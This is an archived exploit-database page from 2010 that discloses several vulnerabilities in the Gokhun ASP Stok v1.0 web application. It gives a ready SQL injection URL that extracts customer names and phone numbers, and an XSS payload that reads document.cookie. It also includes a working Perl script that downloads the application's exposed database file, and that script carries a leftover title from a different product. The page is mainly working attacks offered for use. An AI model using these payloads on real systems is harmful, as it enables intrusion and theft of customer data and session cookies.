[webapps / 0day] - Gokhun ASP Stok v1.0 Multiple Remote Vuln
Posted on 26 September 2010
<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>Gokhun ASP Stok v1.0 Multiple Remote Vulnerabilities | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='Date: 26 Sep 2010 | Exploit category: webapps / 0day | Exploit author: KnocKout | Inj3ct0r - exploit database : vulnerability : 0day : shellcode' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></head><body><pre>==================================================== Gokhun ASP Stok v1.0 Multiple Remote Vulnerabilities ==================================================== ~~~~~~~~~~~~~~~[My]~~~~~~~~~~~~~~~~~~~~~~~~~~~~ [+] Author : KnocKout [+] Greatz : DaiMon [~] Contact : knockoutr@msn.com ~~~~~~~~~~~~~~~~[Software info]~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~Script : Gokhun ASP Stok v1.0 ~Software: http://www.gokhun.com & http://www.aspindir.com/goster/6092 ~Vulnerability Style : Multiple vulnerabilities ~Demo : http://www.site.com/asp/pages/main/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~ Explotation ~~~~~~~~~~~ ======== SQL Injection ========= http://[Victim]/?eylemD=urunler&olayD=&islemD=duzenle&kimlikD=1+union+select+0,1,name,ctelephone,4,5,6+from+customers+where+Kimlik=2 ================================== ======= Cross Site Scripting ===== http://[Victim]/?eylemD=hizmetlerimiz&olayD=digerhizmetlerimiz%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E ============================== Remote Database DisClosure Exploit ========================== #!/usr/bin/perl -w # # Gokhun ASP Stok v1.0 -> Remote Database Disclosure Exploit # Coded: KnocKout # Date: 26.09.2010 # Thanks: DaiMon, BARCOD3 # use LWP::Simple; use LWP::UserAgent; system('cls'); system('title Vural Portal 2010 Remote Database Disclosure Exploit'); system('color 4'); if(@ARGV < 2) { print "[-]Ornegi inceleyin "; &help; exit(); } sub help() { print "[+] usage1 : perl $0 site.com /path/ "; print "[+] usage2 : perl $0 localhost / "; } print " ************************************************************************ "; print "* Gokhun ASP Stok v1.0 -> Remote Database Disclosure Exploit * "; print "* Exploited By : KnocKout * "; print "* msn : knockoutr[at]msn[dot]com * "; print "* Special Thankz : DaiMon * "; print "********************************************************************* "; ($TargetIP, $path, $File,) = @ARGV; $File="database/yb.mdb"; my $url = "http://" . $TargetIP . $path . $File; print " wait!!! "; my $useragent = LWP::UserAgent->new(); my $request = $useragent->get($url,":content_file" => "C:/db.mdb"); if ($request->is_success) { print "[+] $url Exploited! "; print "[+] Database saved to C:/db.mdb "; exit(); } else { print "[!] Exploiting $url Failed ! [!] ".$request->status_line." "; exit(); } # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-09-26]</pre></body></html>
